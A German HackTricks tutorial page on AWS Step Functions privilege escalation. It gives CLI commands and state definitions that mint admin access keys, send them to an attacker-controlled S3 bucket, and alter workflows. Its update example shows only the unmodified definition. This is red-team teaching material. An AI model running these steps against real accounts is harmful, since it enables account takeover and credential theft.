AWS - Step Functions Privesc

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Step Functions

Für weitere Informationen zu diesem AWS-Service, siehe:

AWS - Step Functions Enum

Task-Ressourcen

Diese privilege escalation techniques erfordern die Verwendung einiger AWS Step Functions-Ressourcen, um die gewünschten privilege escalation Aktionen durchzuführen.

Um alle möglichen Aktionen zu prüfen, können Sie in Ihrem eigenen AWS-Konto die Aktion auswählen, die Sie verwenden möchten, und die verwendeten Parameter einsehen, wie z. B.:

Oder Sie können auch die AWS API-Dokumentation aufrufen und die Dokumentation jeder Aktion prüfen:

states:TestState & iam:PassRole

Ein attacker mit den Berechtigungen states:TestState & iam:PassRole kann jeden State testen und jede IAM-Rolle an diesen übergeben, ohne eine vorhandene state machine zu erstellen oder zu aktualisieren, und damit potenziell unautorisierten Zugriff auf andere AWS-Services mit den Berechtigungen der Rolle ermöglichen. Kombiniert können diese Berechtigungen zu umfangreichen unautorisierten Aktionen führen, von der Manipulation von Workflows und der Änderung von Daten bis hin zu Datenverletzungen, Ressourcenmanipulation und privilege escalation.

bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Die folgenden Beispiele zeigen, wie man einen State testet, der einen Access Key für den Benutzer admin erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung ausgenutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Policy verknüpft sein (zum Beispiel arn:aws:iam::aws:policy/AdministratorAccess), die dem State erlaubt, die Aktion iam:CreateAccessKey auszuführen:

  • stateDefinition.json:
json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Befehl ausgeführt, um das privesc durchzuführen:
bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Potenzielle Auswirkungen: Unautorisierte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Ein Angreifer mit den states:CreateStateMachine- und iam:PassRole-Rechten könnte eine state machine erstellen und ihr jede beliebige IAM-Rolle zuweisen, wodurch unautorisierter Zugriff auf andere AWS-Services mit den Berechtigungen dieser Rollen möglich würde. Im Gegensatz zur vorherigen Privesc-Technik (states:TestState & iam:PassRole) führt sich diese nicht selbst aus; zusätzlich benötigen Sie die Berechtigung states:StartExecution oder states:StartSyncExecution (states:StartSyncExecution ist nicht available for standard workflows, just to express state machines), um die Ausführung der state machine zu starten.

bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Die folgenden Beispiele zeigen, wie man eine state machine erstellt, die einen Zugriffsschlüssel für den admin-Benutzer erzeugt und diesen Zugriffsschlüssel in einen vom Angreifer kontrollierten S3-Bucket exfiltriert, indem sie diese Berechtigungen und eine permissive Rolle der AWS-Umgebung ausnutzt. Diese permissive Rolle sollte eine hochprivilegierte Policy zugeordnet haben (z. B. arn:aws:iam::aws:policy/AdministratorAccess), die es der state machine erlaubt, die Aktionen iam:CreateAccessKey & s3:putObject auszuführen.

  • stateMachineDefinition.json:
json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Befehl ausgeführt, um die Zustandsmaschine zu erstellen:
bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Befehl zum Starten einer Ausführung der zuvor erstellten state machine:
json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

warning

Der vom Angreifer kontrollierte S3-Bucket sollte Berechtigungen haben, um eine s3:PutObject-Aktion aus dem Opferkonto zu akzeptieren.

Mögliche Auswirkungen: Unautorisierte Ausführung und Manipulation von Workflows sowie Zugriff auf sensitive Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.

states:UpdateStateMachine & (not always required) iam:PassRole

Ein Angreifer mit der states:UpdateStateMachine-Berechtigung könnte die Definition einer state machine ändern und zusätzliche, unauffällige States hinzufügen, die zu einer Privilegieneskalation führen. Wenn ein legitimer Benutzer eine Ausführung der state machine startet, wird dieser neue bösartige, versteckte State ausgeführt und die Privilegieneskalation ist erfolgreich.

Je nachdem, wie permissiv die mit der state machine verknüpfte IAM Role ist, steht der Angreifer vor 2 Situationen:

  1. Permissive IAM Role: Wenn die IAM Role, die mit der state machine verknüpft ist, bereits sehr weitreichende Rechte besitzt (z. B. die Policy arn:aws:iam::aws:policy/AdministratorAccess angehängt), dann wäre die iam:PassRole-Berechtigung nicht erforderlich, um Privilegien zu eskalieren, da es nicht nötig wäre, zusätzlich die IAM Role zu aktualisieren — die Änderung der state machine-Definition reicht aus.
  2. Not permissive IAM Role: Im Gegensatz zum vorherigen Fall würde der Angreifer hier zusätzlich die iam:PassRole-Berechtigung benötigen, da es erforderlich wäre, eine permissive IAM Role der state machine zuzuordnen sowie die state machine-Definition zu ändern.
bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Die folgenden Beispiele zeigen, wie man eine legitime State Machine, die lediglich eine HelloWorld Lambda-Funktion aufruft, so aktualisiert, dass ein zusätzlicher State hinzugefügt wird, der den Benutzer unprivilegedUser zur IAM-Gruppe administrator hinzufügt. Auf diese Weise wird beim Start einer Ausführung der aktualisierten State Machine durch einen legitimen Benutzer dieser neue, bösartige, heimliche State ausgeführt und die Privilegieneskalation gelingt.

warning

Wenn die State Machine nicht mit einer permissiven IAM-Rolle verknüpft ist, ist außerdem die Berechtigung iam:PassRole erforderlich, um die IAM-Rolle zu aktualisieren und eine permissive IAM-Rolle zuzuordnen (zum Beispiel eine Rolle mit der angehängten Richtlinie arn:aws:iam::aws:policy/AdministratorAccess).

json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Befehl ausgeführt, um die legitime State Machine zu aktualisieren:
bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Potentielle Auswirkungen: Unbefugte Ausführung und Manipulation von Workflows und Zugriff auf sensible Ressourcen, was möglicherweise zu schwerwiegenden Sicherheitsverletzungen führen kann.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks